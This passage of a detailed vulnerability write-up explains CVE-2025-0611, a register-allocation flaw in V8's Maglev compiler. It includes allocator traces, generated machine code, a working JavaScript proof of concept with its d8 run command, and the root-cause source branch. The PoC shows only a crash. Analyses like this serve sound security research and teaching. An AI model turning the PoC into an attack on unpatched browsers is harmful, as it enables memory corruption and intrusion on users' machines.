│││ - n17:(x) → 37: φᴵ <accumulator> (x)
│││
│╰─►Block b8
│ │ 36: Jump b9
│ │ │ with gap moves:
│ │ │ - n65:(x) → 37: φᴵ <accumulator> (x)
│ │ ▼
│ ╰►Block b9
│ 37: φᴵ <accumulator> (n65, n17) → (x), 8 uses
What changed and why:
- Two new nodes appear at the top:
64: CheckedNumberOrOddballToFloat64(Number)checks thata1is a number (or a special value likenullorundefined, called an "oddball") and converts it to a floating-point number.65: CheckedTruncateFloat64ToInt32then cuts that floating-point number down to a 32-bit integer. - The phi
37is nowφᴵ, an integer phi. Its inputs must therefore be integers, which is why the conversion nodes were inserted. - In
Block b7, the gap move now putsn17into the phi instead ofn15. - In
Block b8, the gap move now putsn65(the converteda1) into the phi instead ofn3. Block b9now reads37: φᴵ <accumulator> (n65, n17): both inputs are integers.
Step 5: Register allocation loses the value
With --trace-maglev-regalloc, the value of v20/n65 is first placed in rcx:
Allocating v11/n3 inputs...
Allocating result...
11/3: InitialValue(a1) → [stack:-8|t], live range: [11-53]
live regs:
Allocating v19/n64 inputs...
- v11/n3 has arbitrary register
gap move: [rcx|R|t] ← v11/n3:[stack:-8|t]
- v11/n3 in clobbered [rcx|R|t] ← [rcx|R|t]
...
19/64: CheckedNumberOrOddballToFloat64(Number) [v11/n3:[rcx|R|t]] → [xmm0|R|f64], live range: [19-20]
live regs: rax=v18, xmm0=v19
Allocating v20/n65 inputs...
- v19/n64 has arbitrary register
- v19/n64 in [xmm0|R|f64]
...
20/65: CheckedTruncateFloat64ToInt32 [v19/n64:[xmm0|R|f64]] → [rcx|R|w32], live range: [20-35]
live regs: rax=v18, rcx=v20
constant gap move: [rdx|R|w32] ← v7/n17
Using v18/n63...
freeing v18/n63
Some vocabulary first:
v11/n3: thevnumber is the register allocator's own numbering of a value, thennumber is the graph node's numbering. They refer to the same thing.[stack:-8|t]: the value is stored in memory on the stack, at offset -8, with typet(tagged).[rcx|R|t]: the value is in the processor register namedrcx, markedRfor register, tagged.[xmm0|R|f64]: the value is in a floating-point register namedxmm0, as a 64-bit float.[rcx|R|w32]: the value is inrcxas a 32-bit word.- Live range: the stretch of the program during which a value must be kept somewhere.
[20-35]means from step 20 to step 35. - Live registers: the registers currently holding values that will still be needed.
- Spill: to move a value out of a register into the stack because the register is needed for something else.
- Clobber: to overwrite a register, destroying whatever was in it.
Reading the trace:
v11/n3(the argumenta1) starts on the stack at-8and is live from step 11 to 53.- To compute
n64, the allocator movesv11/n3from the stack intorcxwith a gap move. 19/64converts it to a float inxmm0. At this pointraxholdsv18andxmm0holdsv19.20/65truncates the float to a 32-bit integer and puts the result inrcx. The live registers are nowrax=v18andrcx=v20. Sov20/n65is inrcx, and it is supposed to stay live until step 35.
When the jump from Block b4 to Block b5 is processed, all live registers are cleared, and v20/n65 is neither kept in rcx nor spilled to the stack:
...
╰─►Block b4
live regs: rcx=v20, rdx=v7 <=== v20 live in rcx
[holes: 56.]
Using v12/n4...
freeing v12/n4
Using v14/n6...
freeing v14/n6
Using v5/n26...
freeing v5/n26
0x27e30019959d <SharedFunctionInfo opt_me> (0x27e3000472d9 <String[9]: "./test.js">:13:22)
68 : LdaSmi [1]
27/27: Jump b5
│ with gap moves:
│ - v12/n4:[stack:-3|t] → 28: φᵀ <context> v-1(*)
│ - v14/n6:[stack:3|t] → 29: φᵀ r0 v-1(*)
│ - v5/n26:[constant:v-1] → 30: φᵀ r1 v-1(*)
│ with register merges:
▼
Block b5
live regs: <==== no live regs
[holes: 56.]
...
Reading it:
- On entry to
Block b4,rcxholdsv20andrdxholdsv7. The comment<=== v20 live in rcxmarks the value that is about to be lost. [holes: 56.]lists register slots that are free.Using v12/n4... freeing v12/n4and the two lines after it show the allocator releasing values it no longer needs.27/27: Jump b5is the jump into the second loop, with gap moves that place the context,r0andr1into their phi nodes.Block b5then showslive regs:with nothing after it. Every live register has been wiped, includingrcx, which heldv20/n65. The value was not saved to the stack either, so it is simply gone.
Because the position of v20/n65 is now invalid, a DCHECK fails when the allocator later tries to get its allocation position. In a release build execution continues, and when 35/36: Jump b9 is processed a gap move is generated that tries to load the value from an invalid address:
│╭───33/34: BranchIfToBooleanTrue [v11/n3:[rcx|R|t]] b8 b7
││ ↓
││ Block b7
││ live regs: rax=v29, rcx=v11, rdx=v30, rbx=v7, rdi=v28
││ [holes: 34-36 54.]
││ Using v7/n17...
││ freeing v7/n17
││ 81 : Star2
││╭──34/35: Jump b9
│││ with gap moves:
│││ - v7/n17:[rbx|R|w32] → 37: φᴵ <accumulator> v-1(*)
│││ with register merges:
│││
│╰─►Block b8
│ │ live regs: rax=v29, rcx=v11, rdx=v30, rdi=v28
│ │ [holes: 54.]
│ │ Merging registers...
│ │ rax - incoming node same as node: v29/n29
│ │ rcx - incoming node same as node: v11/n3
│ │ rdx - incoming node same as node: v30/n30
│ │ rdi - incoming node same as node: v28/n28
│ │ Using v20/n65...
│ │ freeing v20/n65
│ │ 35/36: Jump b9
│ │ │ with gap moves:
│ │ │ - v20/n65:(x) → 37: φᴵ <accumulator> v-1(*) <==== Here
│ │ │ with register merges:
│ │ ▼
│ ╰►Block b9
A DCHECK is a debug-only check inside V8's own source code. It is compiled out of release builds, so a DCHECK failure stops a debug build but does nothing in a release build. That is why the same bug behaves differently in the two builds.
Reading the trace:
Block b7has live registersrax=v29, rcx=v11, rdx=v30, rbx=v7, rdi=v28. Notice thatv20is not among them.34/35: Jump b9movesv7/n17fromrbxinto the phi37. That part is fine.Block b8merges its registers with the ones coming from the other path, then reachesUsing v20/n65... freeing v20/n65.35/36: Jump b9then emits a gap move- v20/n65:(x) → 37: φᴵ <accumulator> v-1(*). The(x)means the value has no valid location, andv-1(*)means the destination is an invalid slot. The comment<==== Heremarks the faulty move.
This produces the instruction movq rbx,[rbp-0x58] in the generated code. rbp-0x58 points to an invalid position in the stack frame, so the access is incorrect:
-- Block b8 - PreProcessBasicBlock@../../src/maglev/maglev-code-generator.cc:788
-- 36: Jump b9 - Process@../../src/maglev/maglev-code-generator.cc:800
-- Gap moves: - EmitBlockEndGapMoves@../../src/maglev/maglev-code-generator.cc:902
-- * (x) → [rbx|R|w32] (n37) - EmitBlockEndGapMoves@../../src/maglev/maglev-code-generator.cc:930
0x5a1b47cc0226 1e6 488b5da8 REX.W movq rbx,[rbp-0x58]
Reading it:
- The
--lines are comments emitted by the code generator, showing which source file and line produced each step.maglev-code-generator.ccis the file that turns the graph into machine instructions. Block b8 - PreProcessBasicBlocksays the generator is preparing blockb8.36: Jump b9 - Processsays it is now handling the jump out ofb8.Gap moves: - EmitBlockEndGapMovessays it is emitting the gap moves for the end of the block.* (x) → [rbx|R|w32] (n37)is the faulty move: a value with no location is being written intorbxfor phin37.- The final line is the actual machine instruction.
movq rbx,[rbp-0x58]means "load the 8-byte value at memory addressrbp-0x58into registerrbx".rbpis the base pointer of the current stack frame, sorbp-0x58is a fixed offset inside it. Because the value was never stored there, this reads whatever happens to be at that address.
Step 6: Reproduction
The proof of concept:
let use = 0;
let v = 0;
function* opt_me(flag, a1) {
// triggering Maglev OSR optimization
if(flag)
%OptimizeOsr();
for (let j = 0; j < 1; j++) {
;
}
for (let k = 0; k < 1; k++) {
const tmp = a1 || 1;
// Triggers type conversion node of a1: OddBallOrHeapNumber=>Float64=>Int32
// Passed to 'use' to avoid being optimized away
use = tmp % 4;
v = tmp;
// Generates SuspendGenerator instruction
yield 1;
}
}
%PrepareFunctionForOptimization(opt_me);
opt_me(false, 123).next();
print(v);
opt_me(false, 123).next();
print(v);
// Maglev OSR optimization
opt_me(true, 123).next();
print(v);
Line by line:
let use = 0;andlet v = 0;create two global variables. They exist so that the computed values are actually stored somewhere and cannot be optimised away as useless.function* opt_me(flag, a1)declares a generator function (the*marks it as one) with two parameters:flagcontrols whether optimisation is requested,a1is the value that goes through the type conversions.if(flag) %OptimizeOsr();asks V8 to switch this running function to optimised code, but only whenflagis true. This is what makes the third call different from the first two.- The first
forloop does nothing. Its purpose is to be the first loop in the bytecode, the one whoseJumpLooptriggers OSR. - The second
forloop contains the interesting work.const tmp = a1 || 1;keepsa1if it is truthy, otherwise uses 1. use = tmp % 4;stores the remainder oftmpdivided by 4. The comment explains that this keeps the value alive so the compiler does not delete the conversion.v = tmp;storestmpin the globalv.yield 1;pauses the generator. This is what produces theSuspendGeneratorbytecode that stops graph building.%PrepareFunctionForOptimization(opt_me);tells V8 to collect information about the function so it can be optimised later.- The first
opt_me(false, 123).next();runs the function once withflagfalse, so no OSR happens..next()starts the generator and runs it to the firstyield.print(v)shows the stored value. - The second identical pair runs it again, giving V8 more information about how the function behaves.
opt_me(true, 123).next();is the third run, this time withflagtrue, so%OptimizeOsr()is called and the buggy path is taken.
Run it with:
./d8 \
--allow-natives-syntax \
--no-concurrent-recompilation \
./poc.js
Line by line:
./d8runs the V8 shell from the current directory.--allow-natives-syntaxenables the%functions used in the script.--no-concurrent-recompilationturns off background optimisation so the sequence of events is predictable../poc.jsis the file to run.- The backslashes at the end of each line simply tell the shell that the command continues on the next line.
The crash:
#
# Fatal error in ../../src/maglev/maglev-ir.h, line 2495
# Debug check failed: is_loadable().
#
This says that a debug check called is_loadable() failed in the file maglev-ir.h at line 2495. In plain words: the compiler tried to use a value that no longer has a valid place to be loaded from. That is the DCHECK failing, exactly as described in the previous step.
Root cause
The root cause is in StraightForwardRegisterAllocator::AllocateRegisters():
void StraightForwardRegisterAllocator::AllocateRegisters() {
...
for (block_it_ = graph_->begin(); block_it_ != graph_->end(); ++block_it_) {
BasicBlock* block = *block_it_;
current_node_ = nullptr;
if (block->has_state()) {
if (block->state()->is_exception_handler()) {
...
} else if (block->state()->is_resumable_loop() && // <=== Key
block->state()->predecessor_count() <= 1) {
// Loops that are only reachable through JumpLoop start from a blank
// state of register values.
// This should actually only support predecessor_count == 1, but we
// currently don't eliminate resumable loop headers (and subsequent code
// until the next resume) that end up being unreachable from JumpLoop.
ClearRegisterValues();
} else {
InitializeRegisterValues(block->state()->register_state());
}
} else if (block->is_edge_split_block()) {
InitializeRegisterValues(block->edge_split_block_register_state());
}
...
}
}
This is C++ source code, the language V8 is written in. Reading it in plain words:
void StraightForwardRegisterAllocator::AllocateRegisters()declares the function that does the register allocation.StraightForwardis the name of this particular allocator, andAllocateRegistersis the function.for (block_it_ = graph_->begin(); block_it_ != graph_->end(); ++block_it_)walks through every block of the graph, one after another.BasicBlock* block = *block_it_;takes the current block.BasicBlockis the type of a block, and the*means "pointer to".current_node_ = nullptr;resets a tracking variable to "nothing".if (block->has_state())asks whether this block has a saved state (a snapshot of registers and values).if (block->state()->is_exception_handler())handles the special case of a block that catches exceptions.- The
else ifis the key branch. It fires when the block is a resumable loop (a loop that can be paused and resumed, which is what a generator loop is) and it has at most one predecessor. - Inside that branch,
ClearRegisterValues();wipes all register values. The comment above it explains the assumption: loops that can only be reached throughJumpLoopshould start from a blank register state. - The
elsebranch is the normal case:InitializeRegisterValues(block->state()->register_state());restores the register values from the block's saved state. - The final
else if (block->is_edge_split_block())handles blocks that were split to make an edge easier to handle.
The branch is_resumable_loop() && predecessor_count() <= 1 assumes that a loop header with a single predecessor can only be reached through JumpLoop, and that such a loop should start with a blank register state. Block b5 is a loop header with one predecessor, but that predecessor is Jump b5 in Block b4, not a JumpLoop. It therefore enters the branch and calls ClearRegisterValues(), wiping the value v20/n65 held in rcx.
The reporter notes that the is_resumable_loop() code in AllocateRegisters() comes from commit [redacted], introduced in 2022, so the flaw had been present for a long time and was well hidden.
Impact
The primitive is a loop header BasicBlock with a single predecessor. During Maglev register allocation this removes all nodes before the loop from the registers, so later uses of those nodes behave like a use-after-free and read from invalid addresses. The reporter describes triggering a crash with this primitive as somewhat challenging: in some older versions the same proof of concept also called ClearRegisterValues() during allocation and cleared all live registers, but for unknown reasons did not crash, which may require additional constructions. Commit bisecting based on crashes may therefore not be accurate.
The proof of concept demonstrates a crash; the report does not describe a full exploit chain.
A use-after-free is a bug where a program keeps using a piece of memory after it has been released or invalidated. Here the value was not literally freed, but the effect is similar: the compiler keeps referring to a value whose storage has been wiped. Commit bisecting is a debugging technique where you test many versions of the code, narrowing down which commit introduced a problem. The reporter warns that this technique can mislead here, because the crash depends on subtle conditions.
Fix
The report does not describe the fix that was applied.
Variants to test
- Loop headers whose only predecessor is a plain
Jumpfrom a preheader, as in this report.
Glossary
- API: an agreed way for one piece of software to talk to another, like a menu of functions you are allowed to call.
- BasicBlock: a straight run of instructions in a compiler's graph with one entry and one exit.
- Bytecode: an intermediate form of a program, between source code and machine instructions, that the engine executes or optimises.
- Chrome VRP: Chrome Vulnerability Reward Program, Google's scheme that pays researchers for reporting security bugs in Chrome.
- Clobber: to overwrite a register or memory location, destroying what was there.
- Compiler: a program that translates code from one form into another.
- Concurrent recompilation: optimising code on a background thread while the main program keeps running.
- Crash: an unexpected stop of a program, often the visible symptom of a memory-safety bug.
- CVE: Common Vulnerabilities and Exposures, a public identifier for a known security bug. CVE-2025-0611 is this bug's identifier.
- d8: V8's command-line JavaScript shell, used for testing and research.
- DCHECK: a debug-only check in V8's source code that is compiled out of release builds.
- Dead code: code that can never be reached during execution.
- Disassembly: a human-readable listing of the instructions a program is made of.
- Flag: a command-line option that changes how a program behaves.
- Gap move: a small copy the compiler inserts at a jump so each value ends up where the next block expects it.
- Generator: a JavaScript function that can pause at a
yieldand resume later. - Graph: a diagram of nodes connected by arrows, used by a compiler to represent a program.
- Interpreter frame state: a snapshot of everything a running function currently holds: arguments, locals, registers and position.
- JavaScript engine: the program inside a browser that reads and runs JavaScript. V8 is Chrome's engine.
JumpLoop: the bytecode instruction that jumps back to the start of a loop.- Live range: the stretch of a program during which a value must be kept somewhere.
- Loop header: the first block of a loop, the point the program jumps back to on each repetition.
- Loop peeling: an optimisation that copies the first round of a loop out of the loop.
- Maglev: V8's mid-tier optimising compiler, where this bug lives.
- Memory address: a number identifying a location in memory.
- Merge point: a place in the code where two or more paths come together and their states must be reconciled.
- Native syntax: V8's special
%functions, available only when--allow-natives-syntaxis set. - Object corruption: a bug class where the internal structure of an object in memory is damaged or misread.
- OSR (On-Stack Replacement): switching a function that is already running over to its optimised version.
- Phi node: a graph node that merges several possible values into one, depending on which path the program took.
- Phi untagging: rewriting a phi so it works with raw integers instead of labelled values.
- PoC (proof of concept): a small piece of code that demonstrates a bug reliably.
- Register allocator: the compiler part that decides which value sits in which register at each moment.
- Resumable loop: a loop that can be paused and resumed, as happens inside a generator.
- Script context slot: a storage box for a top-level variable.
- Severity: a rating of how serious a bug is. This one is rated high.
- Spill: moving a value out of a register into the stack because the register is needed for something else.
- Stack: a region of memory used to store temporary values and function state.
- Use-after-free: a bug where a program keeps using memory after it has been released or invalidated.
- V8: Chrome's JavaScript engine.
- Weakness class: the category a security bug belongs to. This one is object corruption.